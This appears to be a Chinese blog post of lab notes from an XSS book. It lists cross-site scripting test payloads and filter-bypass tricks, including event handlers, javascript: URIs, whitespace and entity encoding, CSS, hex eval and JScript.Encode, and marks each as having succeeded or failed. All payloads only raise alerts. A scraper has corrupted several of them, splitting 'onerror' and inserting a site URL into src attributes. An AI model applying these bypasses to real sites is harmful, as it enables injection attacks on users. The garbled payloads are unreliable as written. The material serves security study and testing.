首页 > 代码库 > 《xss跨站脚本剖析与防御》实验笔记

《xss跨站脚本剖析与防御》实验笔记

 1、书籍《xss跨站脚本剖析与防御》上介绍的xss测试代码

<img src="http://www.mamicode.com/javascrpt:alert(‘xss‘);">,

<table background="javascrpt:alert(/xss/)"></table>

已经不能在多大数的浏览器上弹窗成功了

 

测试xss漏洞尽量改变习惯使用

<img src=http://www.mamicode.com/1 one rror=alert(/XSS/)>

<img src=http://www.mamicode.com/1 one rror=alert(‘XSS‘)>

<img src=http://www.mamicode.com/1 one rror=alert("XSS")>

<img src="http://www.mamicode.com/#" one rror=alert(‘xss‘)>

<img src="http://www.mamicode.com/x"/**/onerror="javascript:alert(‘xss‘);">

<script>alert(‘XSS‘)</script>

<img src=http://www.mamicode.com/# one rror="alert(‘XSS‘)"/>

<input type="text" value="http://www.mamicode.com/x" onm ouseover="alert(‘XSS‘)" />

<iframe src="javascript:alert(‘XSS‘)"></iframe>

<a href="javascript:alert(‘XSS‘)"> xss</a>

来测试,能胜任当前大多数浏览器版本。

 

2、使用空格、回车、tab键的方法绕过过滤

技术分享

<iframe src="http://www.mamicode.com/java
script:al    ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->

实际测试成功

3、利用ASCII转码绕过过滤

<img src="http://www.mamicode.com/x"/**/onerror="javascrip&#116&#58alert(‘xss‘);" >

 

<img src=http://www.mamicode.com/1 one rror=alert(‘xss‘)> 转换为

实际测试成功

 

4、产生事件

<input%20type="button" value="http://www.mamicode.com/click me" onclick="alert(‘click me‘)" >

实际测试成功

 

5、利用CSS跨站

<div style="background-image:url(javascript:alert(‘XSS‘))">


<style>
    body {background-image: url("javascript:alert(‘XSS‘)");}
</style>

 

<div style="list-style-image:url(javascript:alert(‘XSS‘))">

实际测试失败

 

6、大小写混淆

<img src="http://www.mamicode.com/#" one rror=alert(‘xss‘)>

实际测试成功

 

7、半字转为全字

<img src="http://www.mamicode.com/#" one rror=alert(‘xss‘)>

实际验证失败

 

8、结合使用注释字符干扰

<img src="http://www.mamicode.com/####/*******/####" one rror=alert(‘xss‘)>

实际测试成功

 

9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码

<script>
eval("alert(‘XSS‘)");
</script>

按照书上说的转码为16进制

<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>

实际验证失败

 

10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别

alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@

编写exploit代码

<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>

在IE中执行,实际测试成功

《xss跨站脚本剖析与防御》实验笔记